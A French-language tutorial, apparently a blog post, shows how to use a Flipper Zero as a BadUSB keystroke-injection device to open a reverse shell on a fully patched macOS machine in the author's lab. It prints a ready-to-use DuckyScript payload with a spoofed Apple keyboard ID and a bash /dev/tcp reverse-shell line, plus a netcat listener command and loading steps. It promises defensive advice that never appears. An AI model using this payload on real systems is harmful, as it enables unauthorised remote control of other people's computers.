À l'aide d'un Flipper Zero, d'un court fichier texte DuckyScript de 12 lignes et d'un écouteur distant sur mon serveur Ubuntu, j'ai pu obtenir un shell sur mon ordinateur Ventura macOS entièrement corrigé et à jour.
Dans mon environnement de laboratoire, j'utilise Flipper Zero comme dispositif de test d'intrusion pour tester les vulnérabilités de mes serveurs et de mes systèmes de bureau.
Le Flipper Zero est notre outil de piratage éthique préféré car il offre un nombre infini de charges utiles disponibles, dispose d'un outil de sélection de menu à l'écran et utilise un affichage de la progression pour fournir des commentaires.
Cet article est un exemple de la façon d'utiliser le Flipper Zero en tant qu'appareil Ethical Pentesting BadUSB et comment éviter d'être victime d'un tel exploit. Ne l'utilisez pas sur des ordinateurs que vous ne possédez pas ou que vous n'êtes pas autorisé à utiliser. Ce code ne fait aucun effort pour se cacher des systèmes de détection d'intrusion (IDS), des systèmes de prévention des intrusions (IPS), des systèmes de détection de réseau, des pare-feu ou des logiciels antivirus (AV).
Le Flipper Zero BadUSB ainsi que plusieurs autres appareils BadUSB utilisent des charges utiles écrites en DuckyScript. Un langage de script simple pour effectuer des frappes au clavier entraînant une attaque par injection de clavier.
Un bon point de départ pour Duckyscript Payloads est le site Web officiel de Hak5 :
Vous pouvez utiliser un script prêt à l'emploi ou apprendre à écrire le vôtre. Nous vous montrerons comment exploiter un shell inversé sur un ordinateur macOS dans une simple procédure pas à pas.
Utilisez votre éditeur de texte préféré et saisissez le texte suivant. Le macOS a l'application TextEdit installée par défaut, nous allons donc l'utiliser.
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
Pour cette procédure pas à pas, nous n'avons pas besoin d'en savoir beaucoup sur DuckyScript, nous allons donc passer en revue les quelques commandes utilisées par notre script. Il n'y a vraiment que cinq commandes différentes que nous utilisons.
Commande | La description |
---|---|
ID 05ac:021e Apple :Clavier | Cette ligne indique au macOS que notre Flipper Zero est vraiment un clavier Apple. Si vous n'utilisez pas cette ligne, macOS affiche la boîte de dialogue Assistant de configuration du clavier, ce qui entraînera l'échec de votre script. |
RETARD | Cette commande demande au système d'exploitation d'attendre un certain temps. Si nous n'utilisons pas ces délais, le script s'exécutera trop vite et échouera. |
ESPACE GUI | Appuie sur la touche Apple Command et la barre d'espace pour ouvrir la fenêtre « Spotlight Search ». |
Borne STRING | Entre la chaîne 'Terminal' dans la fenêtre de recherche Spotlight |
ENTRER | Appuyez sur la touche ENTRÉE ou Retour de votre clavier. Après avoir appuyé sur la touche ENTRÉE, macOS lance la fenêtre Terminal (/Applications/Utilitaires/Terminal) |
CHAÎNE bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | Cette commande entre le texte dans la fenêtre du terminal qui établit une connexion au serveur Netcat écoutant à 10.10.10.157 sur le port 4444 |
Remplacez l'adresse IP à 10.10.10.157 et le port 4444 par l'adresse IP et le port de votre serveur.
Enregistrez ce fichier sur votre disque sous rev_shell_macos.txt . Il n'y a pas d'organisation de sous-répertoires sous le répertoire badusb sur le Flipper Zero, donc si vous utilisez plusieurs charges utiles pour différents systèmes d'exploitation, utilisez une convention de dénomination qui signifie quelque chose pour vous afin que vous sachiez ce qu'elle fait.
Si vous n'avez pas encore installé l'application qflipper, rendez-vous sur la page de mise à jour officielle de Flipper Zero et sélectionnez le programme d'installation correspondant à votre système d'exploitation. La page est la page de mise à jour du firmware, mais en bas se trouvent des liens pour installer l'application qflipper.
https://flipperzero.one/update
Suivez les instructions de votre système d'exploitation pour installer l'application qflipper.
Ouvrez l'application qflipper et sélectionnez l'icône du dossier surligné en rouge.
Sélectionnez et double-cliquez sur l'icône de la carte SD pour afficher le contenu.
Localisez et faites glisser le fichier rev_shell_macos.txt que nous avons créé précédemment dans le dossier badusb .
Retirez le Flipper Zero de votre ordinateur lorsque le fichier est copié.
Le Flipper Zero BadUSB est armé et prêt à l'emploi. Mais d'abord, nous devons configurer notre écouteur distant sur notre serveur. Sur notre serveur Ubuntu, lancez le listener Netcat avec la commande suivante :
$ nc -nlvp 4444
La répartition de la commande est répertoriée dans le tableau suivant. Encore une fois, vous n'avez pas vraiment besoin de savoir ce qui se passe en utilisant cette commande, à part qu'elle attend une connexion entrante.
Commande | Choix |
---|---|
NC | Commande Netcat |
-nlvp | ( n ) pas de résolution DNS, ( l ) écoute la connexion entrante, ( v ) sortie détaillée, ( p ) port |
4444 | Numéro de port sur lequel écouter |
Maintenant que notre écouteur Netcat est prêt et attend une connexion entrante, nous pouvons procéder à l'attaque Flipper Zero BadUSB.
Le plus dur est fait. Le fichier Flipper Zero BadUSB reverse_shell_macos.txt est écrit, déplacé vers le Flipper Zero et l'écouteur Netcat attend une connexion.
Localisez le menu Mauvais USB et sélectionnez le bouton Exécuter. Ne connectez pas encore votre Flipper Zero à votre ordinateur. Le Flipper Zero vous indiquera quand il est temps de connecter votre appareil.
Accédez au fichier DuckyScript que nous avons copié à l'étape précédente. Si vous ne voyez pas ce fichier, vous l'avez copié dans le mauvais répertoire. Sélectionnez rev_shell_macos et cliquez sur le bouton Exécuter.
Lorsque vous voyez l'alerte Connexion à USB , vous pouvez connecter votre Flipper Zero au port USB de votre iMac ou MacBook. Cliquez sur le bouton Exécuter.
Vous pouvez regarder la progression de votre script BadUSB dans la fenêtre principale. Une fois que le statut atteint 100 %, la charge utile est complète et vous pouvez supprimer le Flipper Zero.
Si vous regardez le moniteur de l'ordinateur de l'iMac, vous pouvez voir l'exploit lorsqu'il exécute le DuckyScript. L'écouteur Netcat sur notre serveur Ubuntu affiche les résultats de la requête réussie.
Vous avez maintenant le contrôle de l'ordinateur macOS via un shell inversé. Exécuté sur une version de BSD Linux, vous pouvez utiliser les outils de ligne de commande Unix et un shell BASH comme si vous étiez assis devant le clavier physique de l'iMac.
Vous pouvez utiliser des commandes Linux classiques telles que whoami , pwd , ls ou cd pour naviguer dans le système de fichiers et manipuler le système d'exploitation.
Maintenant que vous comprenez comment le Flipper Zero fonctionne comme un périphérique BadUSB, vous pouvez créer vos propres scripts. Utilisez le site Hak5 ou l'un des nombreux référentiels DuckyScript GitHub disponibles via une recherche Google comme point de départ pour vos propres fichiers Duckyscript.
Agissez de manière légale et éthique. Utilisez cet outil sur les appareils que vous possédez ou que vous êtes autorisé à utiliser.